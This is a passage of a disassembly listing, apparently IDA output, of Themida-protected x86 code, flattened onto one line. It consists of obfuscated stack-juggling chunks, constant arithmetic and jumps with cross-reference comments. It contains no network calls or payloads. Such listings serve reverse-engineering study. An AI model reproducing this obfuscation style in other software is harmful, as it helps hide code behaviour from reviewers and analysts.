dx push ax pushf jmp loc_583C20 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_58A80C: ; CODE XREF: Themida_:0058E341j sub edi, 3F9C51D7h pop ecx jmp loc_58F67B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58A818: ; CODE XREF: sub_585452+59F5j xor ah, 7Fh sub ch, ah pop eax sub bl, ch mov ecx, [esp-6+arg_0+2] add esp, 4 jmp loc_58637F ; --------------------------------------------------------------------------- loc_58A82E: ; CODE XREF: sub_585452+49Aj pop ebp add esp, 4 or eax, eax jz sub_58E931 push ebx sub esp, 4 mov [esp+4Ah+var_4C+2], esi push 0E834D54h pop esi xchg eax, esi jmp loc_584D27 ; --------------------------------------------------------------------------- loc_58A850: ; CODE XREF: sub_585452-5AAj shl esi, 2 sub esi, 0FFFFFFFFh push 4145h mov [esp-2Ah+arg_24+2], esi xchg edx, [esp-2Ah+arg_24+2] xchg ecx, edx push ecx jmp loc_587307 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_58A86C: ; CODE XREF: Themida_:0058CA34j xchg ebp, [esp] pop esp add esp, 4 jmp loc_583C20 ; --------------------------------------------------------------------------- mov cx, [esp] push 250h mov [esp], ebx jmp loc_583CEF ; --------------------------------------------------------------------------- mov ax, [esp] sub esp, 4 mov [esp], edx push esp jmp loc_58F8D6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58EFBD loc_58A89C: ; CODE XREF: sub_58EFBD-AFB5j sub ebp, edi pop edi sub ebp, 806B1229h mov ebx, ebp pop ebp add ebx, 0AFA75D7h add ebx, eax push eax mov eax, 0AFA75D7h sub ebx, eax jmp loc_584F0C ; END OF FUNCTION CHUNK FOR sub_58EFBD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58A8BD: ; CODE XREF: sub_585452-5j xor ebx, 0D846A279h push eax mov eax, 440F6203h xor eax, 33A272D9h jmp loc_584BA2 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_58A8D3: ; CODE XREF: Themida_:00588701j not edx xchg eax, edx xor eax, 271976CCh mov ebp, eax pop eax xor ebp, 7533305h dec ebp inc ebp and ebp, 1AB95E90h sub ebp, 0E84C409Ah add ebx, ebp jmp loc_589E3E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58A8F9: ; CODE XREF: sub_585452-104Fj and byte ptr [esp-8+arg_4], al pushf jmp loc_58A73E ; --------------------------------------------------------------------------- loc_58A902: ; CODE XREF: sub_585452+7F2Cj xor edi, [esp-4+arg_0] pop esp mov word ptr [esp-8+arg_4], dx mov dh, 69h sub al, dh mov dx, word ptr [esp-8+arg_4] push edx jmp loc_588543 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_58A918: ; CODE XREF: Themida_:0058450Ej push ebx push eax mov al, 3 neg al or al, 66h jmp loc_585062 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58EA34 loc_58A925: ; CODE XREF: sub_58EA34-8820j add esp, 4 jmp loc_58E009 ; END OF FUNCTION CHUNK FOR sub_58EA34 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58A930: ; CODE XREF: sub_585452+2C89j pop edx sub esp, 4 mov [esp-0Eh+arg_8+2], ecx push edx mov dl, 0E2h push eax mov al, 0DAh not al or al, 0F1h shr al, 4 not al add al, 43h sub al, 7Bh mov cl, al jmp loc_58811F ; --------------------------------------------------------------------------- loc_58A951: ; CODE XREF: sub_585452+27FFj mov [esp-14h+arg_E+2], ebx jmp loc_58CBEE ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58E1AF loc_58A959: ; CODE XREF: sub_58E1AF+Bj push eax mov eax, 5F936A11h and eax, 719866D6h jmp loc_58E3BA ; END OF FUNCTION CHUNK FOR sub_58E1AF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58A969: ; CODE XREF: sub_585452+FB3j shr ah, 5 push cx mov ch, 2Eh jmp loc_58BE56 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58960C loc_58A975: ; CODE XREF: sub_58960C+3F83j mov edi, 64037DB9h sub edi, 0BB856FFh add edi, 48CD4DADh inc edi sub edi, 2C13784Ch add edi, 8C1839FDh add ecx, edi pop edi mov edx, [esp+4+var_4] jmp loc_5897B7 ; END OF FUNCTION CHUNK FOR sub_58960C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58A99E: ; CODE XREF: sub_585452+9C15j or edx, eax shl edx, 1 push esi mov esi, esp jmp loc_58691E ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_58A9AA: ; CODE XREF: Themida_:005867DFj idiv ecx push 1C96h mov [esp], edx push eax pushf jmp loc_583C20 ; --------------------------------------------------------------------------- loc_58A9BB: ; CODE XREF: Themida_:00584614j sub esp, 4 mov [esp], esp jmp loc_58DC74 ; --------------------------------------------------------------------------- loc_58A9C6: ; CODE XREF: Themida_:00586162j push edx jmp loc_589765 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_586650 loc_58A9CC: ; CODE XREF: sub_586650+16D0j add esi, 6064170Bh add esi, edx jmp loc_58A2F5 ; END OF FUNCTION CHUNK FOR sub_586650 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58BCA7 loc_58A9D9: ; CODE XREF: sub_58BCA7+40j mov ecx, 69CA0D3Fh mov ebx, 0D7EF2EB9h sub ebx, ecx pop ecx mov esi, ebx jmp loc_58F733 ; END OF FUNCTION CHUNK FOR sub_58BCA7 ; --------------------------------------------------------------------------- lodsd xor eax, ebx push ebx jmp loc_58720E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58E761 loc_58A9F6: ; CODE XREF: sub_58E761+349j mov ebx, 2 add esi, 604B0F54h jmp loc_5859EB ; END OF FUNCTION CHUNK FOR sub_58E761 ; --------------------------------------------------------------------------- loc_58AA06: ; CODE XREF: Themida_:0058675Aj xor ebp, 7A99454h sub edi, ebp pop ebp push eax mov eax, 269805C3h or edi, eax pop eax push edx mov edx, 701646A2h or edx, 41B04665h or edx, 1DA3637Bh dec edx xor edx, 530CE221h xor edi, edx pop edx add edx, edi mov edi, [esp] add esp, 4 add edx, 2 xchg edx, [esp] pop esp mov ax, [esp] push 7440h mov [esp], edi push esp jmp loc_588FFC ; --------------------------------------------------------------------------- loc_58AA5B: ; CODE XREF: Themida_:0058617Bj pop ecx push 600h jmp loc_58F59C ; --------------------------------------------------------------------------- loc_58AA66: ; CODE XREF: Themida_:00588101j mov [esp], edx mov dh, 52h jmp loc_58F382 ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop cx rcr byte ptr [esp], cl pushf jmp loc_583C20 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_587574 loc_58AA7F: ; CODE XREF: sub_587574-F39j sub dword ptr [edi+24h], 6F7D79B2h jmp loc_585507 ; END OF FUNCTION CHUNK FOR sub_587574 ; --------------------------------------------------------------------------- loc_58AA8B: ; CODE XREF: Themida_:0058F638j xor edx, ebx jmp loc_58DE38 ; --------------------------------------------------------------------------- loc_58AA92: ; CODE XREF: Themida_:00588C5Bj xchg ecx, [esp] pop esp add edi, 2 jmp loc_58D8C6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58FA66 loc_58AAA1: ; CODE XREF: sub_58FA66-978Aj pop ecx pop eax jmp loc_585373 ; END OF FUNCTION CHUNK FOR sub_58FA66 ; --------------------------------------------------------------------------- loc_58AAA8: ; CODE XREF: Themida_:00587A84j xchg ebp, [esp] mov esp, [esp] push ebx push esp mov ebx, [esp] add esp, 4 add ebx, 4 add ebx, 4 push 2417h mov [esp], ebx push dword ptr [esp+4] pop ebx pop dword ptr [esp] pop esp push dword ptr [esp] mov ecx, [esp] add esp, 4 sub esp, 4 mov [esp], edx sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop edx push ebp push edx mov edx, 3BF37079h add edx, 51123E53h shl edx, 2 jmp loc_58D854 ; --------------------------------------------------------------------------- mov cx, [esp] jmp loc_588917 ; --------------------------------------------------------------------------- loc_58AB0B: ; CODE XREF: Themida_:0058AC5Bj pop ebx add ebx, 4 push edx jmp loc_58BBDB ; =============== S U B R O U T I N E ======================================= sub_58AB18 proc near ; CODE XREF: sub_585452+57A2j arg_0 = dword ptr 4 arg_C = dword ptr 10h arg_10 = dword ptr 14h ; FUNCTION CHUNK AT 00583F40 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 005850EA SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00586423 SIZE 00000021 BYTES ; FUNCTION CHUNK AT 00587370 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00587DEC SIZE 00000014 BYTES ; FUNCTION CHUNK AT 005886B5 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 005890A7 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 005892F0 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0058972B SIZE 0000001A BYTES ; FUNCTION CHUNK AT 0058B2C7 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0058CB99 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0058CC7D SIZE 0000002D BYTES ; FUNCTION CHUNK AT 0058D9AE SIZE 0000001C BYTES ; FUNCTION CHUNK AT 0058DA53 SIZE 00000028 BYTES ; FUNCTION CHUNK AT 0058E0E3 SIZE 0000001C BYTES ; FUNCTION CHUNK AT 0058E808 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 0058FA98 SIZE 0000000C BYTES push ebx mov ebx, esp jmp loc_58972B sub_58AB18 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58E761 loc_58AB20: ; CODE XREF: sub_58E761-830Fj pop ebx add esp, 4 xchg eax, [esp-8+arg_4] jmp loc_587E29 ; END OF FUNCTION CHUNK FOR sub_58E761 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58AB2F: ; CODE XREF: sub_585452-8C9j sub cl, 84h jmp loc_5880D8 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_58AB37: ; CODE XREF: Themida_:0058E3B5j add ecx, 599B250Ch sub ecx, 5B21758h jmp loc_58E909 ; --------------------------------------------------------------------------- loc_58AB48: ; CODE XREF: Themida_:0058D66Dj mov ebx, 0A241F24h sub ebp, ebx pop ebx mov ecx, [esp] jmp loc_589490 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58AB58: ; CODE XREF: sub_585452-36Dj pop edx push ecx push ebx add [esp+6+var_8+2], 69227A17h pop ecx push edx mov edx, 69227A17h sub ecx, edx pop edx mov eax, ecx jmp loc_585CCA ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_58AB73: ; CODE XREF: Themida_:005852AEj push ecx mov ecx, 28D47871h sub ebp, ecx pop ecx add ebp, ecx add ebp, 28D47871h mov ecx, [esp] add esp, 4 add ebp, 2 jmp loc_58A62C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58AB95: ; CODE XREF: sub_585452+2765j mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp-8+arg_4] pop esp mov eax, [esp-0Ch+arg_8] push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp-8+arg_4] jmp loc_584064 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_583D6F loc_58ABBA: ; CODE XREF: sub_583D6F+260Bj add edx, esi pop esi pop eax xchg edx, [esp-4+arg_0] mov esp, [esp-4+arg_0] rol word ptr [esp-4+arg_0], cl pushf jmp loc_583C20 ; END OF FUNCTION CHUNK FOR sub_583D6F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58ABCE: ; CODE XREF: sub_585452+507Dj pop esp mov [esp+0Ah+var_C+2], eax mov eax, 1 and ecx, eax pop eax shr ecx, 0 or eax, eax jz sub_58DCD4 push 9A6h mov [esp+0Ah+var_C+2], eax mov eax, esp add eax, 4 jmp sub_58AB18 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_58ABF9: ; CODE XREF: Themida_:005864E1j mov esi, esp add esi, 4 sub esp, 4 mov [esp], eax mov eax, 7CA13C01h jmp loc_58EC5C ; --------------------------------------------------------------------------- loc_58AC14: ; CODE XREF: Themida_:00588666j sub esp, 4 mov [esp], eax mov eax, 2 jmp loc_58414B ; --------------------------------------------------------------------------- loc_58AC27: ; CODE XREF: Themida_:0058EA5Dj xor ecx, esi jmp loc_58AFE9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58B758 loc_58AC2E: ; CODE XREF: sub_58B758+3j add ebx, 4 sub ebx, 4 xchg ebx, [esp-8+arg_4] pop esp mov [esp+0], edx jmp loc_586516 ; END OF FUNCTION CHUNK FOR sub_58B758 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58CCD7 loc_58AC43: ; CODE XREF: sub_58CCD7+3j add ebx, 4 push ecx mov ecx, 6B3C3E55h jmp loc_58D311 ; END OF FUNCTION CHUNK FOR sub_58CCD7 ; --------------------------------------------------------------------------- loc_58AC54: ; CODE XREF: Themida_:00584059j add dword ptr [esp], 4 jmp loc_58AB0B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58AC60: ; CODE XREF: sub_585452+6C7j mov edx, [esp+0] add esp, 4 add edx, 4 add edx, 4 xchg edx, [esp-4+arg_0] pop esp jmp sub_58622C ; --------------------------------------------------------------------------- loc_58AC7B: ; CODE XREF: sub_585452-4E9j pop esi pop [esp-0Eh+arg_8+2] mov esp, [esp-12h+arg_E] test ecx, eax pushf jmp loc_583C20 ; --------------------------------------------------------------------------- loc_58AC8A: ; CODE XREF: sub_585452-198j and eax, 80269DDh xor eax, 26BCCh mov esi, eax pop eax and eax, esi pop esi jmp loc_58C10B ; --------------------------------------------------------------------------- loc_58AC9F: ; CODE XREF: sub_585452+21Aj pop esp mov [esp-22h+arg_1E], edx pop dword ptr [edi+20h] jmp loc_58CDB4 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58999B loc_58ACAB: ; CODE XREF: sub_58999B-38FFj add edx, 75821ACAh jmp loc_587658 ; END OF FUNCTION CHUNK FOR sub_58999B ; --------------------------------------------------------------------------- loc_58ACB6: ; CODE XREF: Themida_:0058D516j add eax, 79279C5h jmp loc_58BA01 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58ACC0: ; CODE XREF: sub_585452+C7Fj add esp, 4 mov eax, [esp+0Ah+var_C+2] push ebp jmp loc_5862E1 ; --------------------------------------------------------------------------- loc_58ACCC: ; CODE XREF: sub_585452+5E35j push [esp+0Eh+var_C+2] jmp loc_58E779 ; --------------------------------------------------------------------------- loc_58ACD5: ; CODE XREF: sub_585452+6DD9j xor ebp, [esp+12h+var_14+2] xor [esp+12h+var_14+2], ebp jmp loc_587A51 ; --------------------------------------------------------------------------- loc_58ACE0: ; CODE XREF: sub_585452+85Cj pop edx shr ecx, 6 jmp loc_58E3EC ; --------------------------------------------------------------------------- loc_58ACE9: ; CODE XREF: sub_585452+288j add esp, 4 sub edi, 4 xor edi, [esp-12h+arg_E] xor [esp-12h+arg_E], edi jmp loc_585669 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- mov ax, [esp] push ecx push esp mov ecx, [esp] push ebp mov ebp, esp jmp loc_58FC58 ; --------------------------------------------------------------------------- loc_58AD0B: ; CODE XREF: Themida_:0058F07Dj mov ecx, esp add ecx, 4 sub ecx, 2 xchg ecx, [esp] pop esp jmp loc_58C2D4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58AD22: ; CODE XREF: sub_585452+6251j neg eax and eax, 6C957D53h add eax, 0E4D3247Fh add ebx, eax pop eax mov edi, [esp-16h+arg_12] jmp loc_58D1D3 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585019 loc_58AD39: ; CODE XREF: sub_585019-666j add esp, 4 add edx, 4 xchg edx, [esp+0] mov esp, [esp+0] jmp loc_58E782 ; END OF FUNCTION CHUNK FOR sub_585019 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58AD50: ; CODE XREF: sub_585452-1384j push edx mov edx, esp jmp loc_58B1E3 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- mov cx, [esp] push ebp push 6089h push esp jmp loc_58FDC5 ; --------------------------------------------------------------------------- loc_58AD68: ; CODE XREF: Themida_:00584B24j push ecx mov cx, 3CDCh jmp loc_58EC1E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_589972 loc_58AD72: ; CODE XREF: sub_589972+6j mov [esp+0], edi mov edi, 46CA635Ch mov edx, edi pop edi mov ebx, edx pop edx inc ebx jmp loc_58D2BB ; END OF FUNCTION CHUNK FOR sub_589972 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58AD86: ; CODE XREF: sub_585452+9FC8j jmp loc_583C20 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_586B0E loc_58AD8B: ; CODE XREF: sub_586B0E+73ECj shr edi, 3 neg edi jmp sub_58BE98 ; END OF FUNCTION CHUNK FOR sub_586B0E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58AD95: ; CODE XREF: sub_585452+72A1j mov ah, 9Fh jmp loc_58EAAF ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58A26F loc_58AD9C: ; CODE XREF: sub_58A26F-3C29j add ebx, ebp pop ebp push eax push ecx push 6E4D09D6h jmp loc_58B777 ; END OF FUNCTION CHUNK FOR sub_58A26F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58ADAB: ; CODE XREF: sub_585452+4294j add eax, 4 push ebp mov ebp, 4 add eax, ebp pop ebp xchg eax, [esp-24h+arg_1E+2] mov esp, [esp-24h+arg_1E+2] jmp loc_586FA4 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_58ADC4: ; CODE XREF: Themida_:0058BFA7j shr si, 8 xor si, 6FBDh shl si, 1 add si, 270Ah add ax, si pop esi sub ax, cx sub ax, 5FEh add ax, 7E9Bh mov cx, [esp] push esi mov esi, esp add esi, 4 push edi mov edi, 2 add esi, edi pop edi xchg esi, [esp] pop esp sub ax, bx add ax, 22E1h push 25D8h mov [esp], ebp mov bp, 2646h push bx mov bx, 3B8Ch xor bp, bx mov bx, [esp] push esi jmp loc_587233 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58AE24: ; CODE XREF: sub_585452+7FCAj push esi push eax mov eax, 7E71083h sub [esp-1Ch+arg_1A+2], 7BF445A8h add [esp-1Ch+arg_1A+2], eax push edx push ebp jmp loc_588A5A ; --------------------------------------------------------------------------- loc_58AE3E: ; CODE XREF: sub_585452+3661j shr ch, 4 sub ch, 0E1h push eax mov ah, 44h jmp loc_58A818 ; --------------------------------------------------------------------------- loc_58AE4C: ; CODE XREF: sub_585452-12EBj mov ebp, [esp-8+arg_4] add esp, 4 and [edi+1Ch], ecx mov ecx, [esp-0Ch+arg_8] push esi mov esi, esp jmp loc_58B38B ; --------------------------------------------------------------------------- loc_58AE60: ; CODE XREF: sub_585452-8C3j add ebx, 4 xchg ebx, [esp-14h+arg_E+2] mov esp, [esp-14h+arg_E+2] push ebx mov ebx, 3C347482h jmp loc_584BD0 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5B5756 loc_58AE74: ; CODE XREF: sub_5B5756-31911j mov dh, ch jmp loc_58BE67 ; END OF FUNCTION CHUNK FOR sub_5B5756 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_587574 loc_58AE7B: ; CODE XREF: sub_587574+1j mov ebx, esp add ebx, 4 jmp loc_589363 ; END OF FUNCTION CHUNK FOR sub_587574 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5886E0 loc_58AE88: ; CODE XREF: sub_5886E0+15j pop edi xor edi, 0F405048h add ebp, edi pop edi push esi jmp loc_586858 ; END OF FUNCTION CHUNK FOR sub_5886E0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58AE98: ; CODE XREF: sub_585452+4FF7j xor [esp-2Ah+arg_28+2], edi mov edi, [esp-2Ah+arg_24+2] add esp, 4 mov eax, [esp-2Eh+arg_28+2] push ebp jmp loc_584C6D ; --------------------------------------------------------------------------- loc_58AEAE: ; CODE XREF: sub_585452+84E3j add eax, 145D98F3h mov esi, eax pop eax shr esi, 7 not esi dec esi shl esi, 7 dec esi xor esi, 0FC08B3A9h sub ebx, esi pop esi add ebx, eax add ebx, 16FC18D6h jmp loc_58CB2F ; --------------------------------------------------------------------------- loc_58AED6: ; CODE XREF: sub_585452+15Fj mov ebp, 4 add esi, ebp pop ebp push ecx mov ecx, 652956F1h push edi push esi mov esi, 691670EDh mov edi, 0C3F2618h xor edi, esi pop esi xor ecx, edi pop edi add esi, 6EEE799Dh add esi, ecx jmp loc_5892E3 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58FA66 loc_58AF03: ; CODE XREF: sub_58FA66-1E48j pop esp mov [esp-10h+arg_C], eax mov eax, 529267B4h push 0 sub [esp-0Ch+arg_8], eax pop eax and eax, 476E6FBCh jmp loc_58FEC9 ; END OF FUNCTION CHUNK FOR sub_58FA66 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58EFBD loc_58AF1F: ; CODE XREF: sub_58EFBD+ED5j add eax, 49C06FBAh push dword ptr [esp+0] mov edi, [esp+4+var_4] push ecx mov ecx, esp add ecx, 4 add ecx, 4 push ecx push [esp+0Ch+var_8] mov ecx, [esp+10h+var_10] add esp, 4 pop [esp+0Ch+var_C] pop esp push 18C1h mov [esp+8+var_8], ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp+8+var_8] pop esp push 11F1h mov [esp+8+var_8], edx jmp loc_5868AB ; END OF FUNCTION CHUNK FOR sub_58EFBD ; --------------------------------------------------------------------------- loc_58AF72: ; CODE XREF: Themida_:0058B083j xchg ebx, edi pop ebx xor edi, 90CBB9F9h mov ebx, edi pop edi add dword ptr [esp+4], 6A9132BCh jmp loc_5851B1 ; --------------------------------------------------------------------------- push dword ptr [esp] push dword ptr [esp] jmp loc_58680E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58AF96: ; CODE XREF: sub_585452+63Fj pop esp sub cl, ah pop ax add cl, 0C8h xor al, cl pop ecx sub esp, 4 mov [esp+44h+var_44], edi jmp loc_58D170 ; --------------------------------------------------------------------------- loc_58AFAC: ; CODE XREF: sub_585452+5E3Dj mov esp, [esp+44h+var_44] jmp loc_5881D7 ; --------------------------------------------------------------------------- loc_58AFB4: ; CODE XREF: sub_585452+4AD8j pop ebx add ecx, 0FEBF8F03h sub edi, ecx jmp loc_58A359 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_58AFC2: ; CODE XREF: Themida_:00586EDBj push edx push 5FDh jmp loc_58C1AE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58FA66 loc_58AFCD: ; CODE XREF: sub_58FA66-1488j add ecx, esi sub ecx, 352D783Ah mov esi, [esp-10h+arg_C] add esp, 4 add ecx, 4 xchg ecx, [esp+0] jmp loc_586FCA ; END OF FUNCTION CHUNK FOR sub_58FA66 ; --------------------------------------------------------------------------- loc_58AFE9: ; CODE XREF: Themida_:0058AC29j pop esi mov edx, ecx pop ecx push ebx jmp loc_585DB4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58AFF3: ; CODE XREF: sub_585452+314Bj add edx, 0FFFFFFFFh add edx, 0A7FED005h jmp loc_58F92F ; --------------------------------------------------------------------------- loc_58B004: ; CODE XREF: sub_585452+48Fj pop edx pop [esp+46h+var_48+2] pop esp push esp pop [esp+42h+var_44+2] push eax push ebx push edx push 262F24D5h jmp loc_585BEC ; --------------------------------------------------------------------------- loc_58B01A: ; CODE XREF: sub_585452+201Cj xchg esi, [esp+0] mov esp, [esp+0] jmp loc_58B031 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_58B025: ; CODE XREF: Themida_:00588973j mov [esp], esp add dword ptr [esp], 4 jmp loc_5887B3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58B031: ; CODE XREF: sub_585452+5BCEj push dword ptr [esp+0] push [esp+2+var_4+2] pop eax push 3F29h mov [esp+6+var_8+2], edi mov edi, esp push esi mov esi, 4 add edi, esi pop esi add edi, 4 xchg edi, [esp+6+var_8+2] pop esp push edx push 22F5h mov [esp+0Ah+var_C+2], esp add [esp+0Ah+var_C+2], 4 mov edx, [esp+0Ah+var_C+2] jmp loc_58E668 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_58B06A: ; CODE XREF: Themida_:0058F875j mov edi, 1461052Bh xor edi, 5D0C4F00h xor edi, 327A5F5Fh push ebx mov ebx, 0 sub ebx, edi jmp loc_58AF72 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58B088: ; CODE XREF: sub_585452+38DBj xor esi, 42335F56h sub eax, esi pop esi sub esp, 4 mov [esp+0], edi push ecx mov ecx, 708A3525h jmp loc_58B7DD ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_58B0A5: ; CODE XREF: Themida_:0058F077j neg edi sub edi, 4631C35Dh add ebx, edi pop edi add ebp, ebx pop ebx sub ebx, ebp jmp loc_586346 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58B0BA: ; CODE XREF: sub_585452-10E6j xor ebx, 342FEE64h xor edx, ebx jmp loc_58A0AD ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_58B0C7: ; CODE XREF: Themida_:00584326j mov [esp], ecx mov ecx, esp jmp loc_584AF0 ; --------------------------------------------------------------------------- loc_58B0D1: ; CODE XREF: Themida_:0058CCB6j push dword ptr [esp] pop edx add esp, 4 push ecx jmp loc_586785 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58B0E1: ; CODE XREF: sub_585452+CEAj sub eax, edx mov edx, eax jmp loc_58FE30 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58622C loc_58B0EA: ; CODE XREF: sub_58622C+6802j add ebx, 4 sub ebx, 4 xchg ebx, [esp+4+var_4] pop esp mov [esp+0], edx mov edx, 9CD0585h xor edi, edx pop edx and eax, edi pop edi or eax, eax jz loc_58653A push 378Fh mov [esp-4+arg_0], edx push 1Ch pop edx push eax mov eax, 0B9D2F77h and eax, 79DC47DBh push edx mov edx, 7911F0Fh xor eax, edx pop edx add edx, eax pop eax add edx, edi sub esp, 4 mov [esp+0], eax mov eax, 416C6BC9h jmp loc_5854CC ; END OF FUNCTION CHUNK FOR sub_58622C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58B147: ; CODE XREF: sub_585452+6BCBj push 750Eh mov [esp+26h+var_28+2], edx jmp sub_58DEA3 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_589C10 loc_58B154: ; CODE XREF: sub_589C10-2021j add eax, 55DA376Eh add edx, eax pop eax add edx, ecx push esi mov esi, 461F2206h or esi, 5B172DE9h add esi, 360930A3h inc esi add esi, 203A54A4h jmp loc_58FBA2 ; END OF FUNCTION CHUNK FOR sub_589C10 ; --------------------------------------------------------------------------- loc_58B17C: ; CODE XREF: Themida_:0058EE5Bj pop edi xor ebx, eax sub edx, 49AD1FCBh sub edx, 422D58B6h sub edx, eax add edx, 422D58B6h push eax push 55F0h jmp loc_586B1C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58B19E: ; CODE XREF: sub_585452+366Aj push edx mov edx, 28h sub esp, 4 mov [esp-0Ch+arg_8], eax mov eax, 36A530A9h add edx, eax push [esp-0Ch+arg_8] pop eax add esp, 4 jmp loc_5860F0 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_58B1C0: ; CODE XREF: Themida_:0058FEF7j mov [esp], ebp push esp jmp loc_585F58 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5886E0 loc_58B1C9: ; CODE XREF: 